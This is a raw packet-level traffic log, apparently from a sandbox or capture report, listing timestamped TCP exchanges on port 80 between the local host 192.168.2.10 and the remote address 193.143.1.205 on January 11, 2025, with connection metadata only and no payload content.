Jan 11, 2025 04:19:44.814511061 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814524889 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814536095 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814537048 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814549923 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814563036 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814563036 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814577103 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814589024 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814590931 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814603090 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814625025 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814640045 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814810038 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814851046 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814882040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814896107 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814907074 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814919949 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814933062 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814937115 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814946890 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814956903 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814960957 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814999104 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.815274954 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815284967 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815296888 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815310001 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815323114 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.815330982 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815344095 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815346003 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.815356970 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815380096 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.815380096 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815392971 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815406084 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815416098 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.815419912 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815433025 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815444946 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815452099 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.815458059 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815473080 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815480947 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.815485954 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815496922 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815510035 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815524101 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.815526009 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.815551996 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.815576077 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.816162109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.816175938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.816198111 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.816211939 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.816226006 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.816225052 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.816237926 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.816248894 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.816255093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.816268921 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.816288948 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.816298008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.816309929 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.821602106 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.821615934 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.821629047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.821702957 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.821739912 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.821752071 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.821805000 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.821962118 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822019100 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822031021 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822065115 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.822138071 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822149992 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822161913 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822186947 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.822235107 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.822330952 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822344065 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822355986 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822391987 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.822487116 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822496891 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822508097 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822520971 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822531939 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822535992 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.822544098 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.822557926 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.822606087 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.827193022 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.838140011 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.838237047 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.839452028 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.849848986 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.849859953 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.849877119 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.849889040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.849900961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.849965096 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.849980116 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.850007057 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.850018978 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.850052118 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.850081921 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.850095034 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.850106955 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.850120068 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.850127935 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.850150108 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.850279093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.850291967 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.850334883 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.865331888 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.865426064 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.865528107 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.865537882 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.865545034 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.865557909 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.865571976 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.865593910 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.865602970 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.865614891 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.865618944 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.865647078 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.873367071 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873389959 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873402119 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873425961 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.873456955 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.873533010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873548031 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873584986 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.873627901 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873640060 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873694897 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.873724937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873737097 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873769045 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.873887062 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873898983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873910904 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873923063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873938084 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.873963118 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.874005079 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.874119043 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.874162912 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.902018070 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902030945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902044058 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902131081 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.902172089 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902184010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902195930 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902209044 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902215958 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.902255058 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.902364969 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902376890 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902388096 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902403116 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902410030 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.902440071 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.902573109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902585030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902596951 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902623892 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.902637959 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.902731895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902743101 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902756929 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902769089 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902781010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902787924 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.902796030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902807951 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.902808905 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902825117 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.902834892 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.902872086 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.903068066 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903079987 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903116941 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.903186083 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903198957 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903209925 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903222084 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903234005 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903245926 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.903247118 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903259039 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903271914 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903284073 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903286934 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.903299093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903331041 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.903364897 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.903879881 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903892040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903903008 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903913975 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903930902 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.903949022 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903960943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903973103 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903985023 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.903990984 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.904000998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904011011 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.904012918 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904021025 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.904026031 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904040098 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904052973 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904055119 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.904079914 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.904527903 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904540062 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904551983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904563904 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904571056 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.904576063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904588938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904591084 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.904602051 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904613972 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904618025 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.904628038 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904637098 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.904640913 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904654980 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904668093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904680967 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.904683113 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904697895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904710054 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904721975 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.904726028 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.905306101 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.905318975 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.905328989 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.905349970 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.910204887 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910214901 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910226107 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910258055 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.910285950 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.910465956 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910486937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910501957 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910515070 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910526991 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.910530090 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910554886 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.910660028 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910710096 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.910711050 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910725117 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910757065 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.910770893 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910854101 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910867929 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910880089 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.910896063 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.910938025 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.911000967 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.911014080 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.911026001 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.911037922 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.911058903 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.911058903 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.911082983 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.911176920 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.911190987 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.911216021 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.938442945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.938484907 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.938497066 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.938532114 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.938564062 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.938626051 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.938637972 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.938648939 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.938673019 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.938678026 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.938687086 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.938699007 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.938724995 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.938749075 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.953969955 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.953985929 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.953996897 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.954082012 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.954102993 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.954116106 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.954127073 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.954152107 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.954184055 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.954231024 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.954242945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.954298973 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.962030888 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962042093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962054014 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962069988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962084055 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962126017 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.962141991 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.962239981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962251902 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962263107 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962304115 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.962304115 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.962404013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962415934 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962430000 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962449074 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962461948 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962476969 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962476969 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.962491989 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.962505102 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.962519884 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.990556955 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.990592957 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.990607023 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.990675926 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.990732908 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.990745068 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.990765095 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.990768909 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.990781069 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.990789890 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.990839005 CET	49722	80	192.168.2.10	193.143.1.205
